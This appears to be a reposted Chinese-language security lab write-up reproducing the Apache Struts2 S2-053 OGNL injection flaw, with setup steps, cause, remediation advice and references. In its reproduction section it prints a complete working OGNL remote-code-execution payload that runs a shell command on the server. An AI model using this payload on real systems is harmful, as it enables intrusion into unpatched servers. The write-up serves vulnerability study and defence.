联想安全实验室:Struts2 S2-053 漏洞复现

Posted 联想安全实验室

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了联想安全实验室:Struts2 S2-053 漏洞复现相关的知识,希望对你有一定的参考价值。







0X01 环境搭建

http://oe58q5lw3.bkt.clouddn.com/s/struts2/struts2/s2-053.war

将s2-053.war放入tomcat的webapps目录下,运行tomcat,s2-053.war会自动解包,访问http://localhost:8080/s2-053/

联想安全实验室:Struts2 S2-053 漏洞复现

0X02 漏洞成因

如果标签内容是用“${}”这种方式解析,会被直接带入到OGNL中执行造成远程代码执行漏洞:

<@s.hiddenname="redirectUri"value="${redirectUri}" />


0X03 漏洞复现

打开页面http://localhost:8080/s2-053/,输入表达式%{10-1}进行测试,发现成功执行,返回9:

联想安全实验室:Struts2 S2-053 漏洞复现

执行whoami返回信息。

Payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

 

0X04 漏洞验证

POC验证:

联想安全实验室:Struts2 S2-053 漏洞复现


0X05 加固建议

升级Apache struts 至 2.5.12 版本 或者 2.3.34 版本。


0X04 参考

  1. http://struts.apache.org/docs/s2-053.html

  2. https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053

  3. https://mp.weixin.qq.com/s/4CiKgVn7Y-hWUKRjgECsuA



联想安全实验室


联想安全实验室,以控制产品安全质量为核心,研究主流安全攻防技术,构筑产品安全创新生态。实验室研究方向涵盖终端产品安全、云服务安全、IoT产品安全、大数据安全、无线网络安全等方向,专注于端到端的产品安全技术能力研究,同时安全实验室还关注工业互联网、智能交通、智慧城市、智慧家庭等方向的安全研究。



以上是关于联想安全实验室:Struts2 S2-053 漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

漏洞预警Struts2又双叒叕出现严重漏洞(S2-053)

漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

威胁预警Apache Struts2远程代码执行漏洞(S2-053)

预警通告Apache Struts2 (S2-053) 远程代码执行漏洞

最新漏洞预警 | Struts2(S2-053) 远程代码执行!

42款思科产品或受Apache Struts2远程代码执行漏洞(S2-053)影响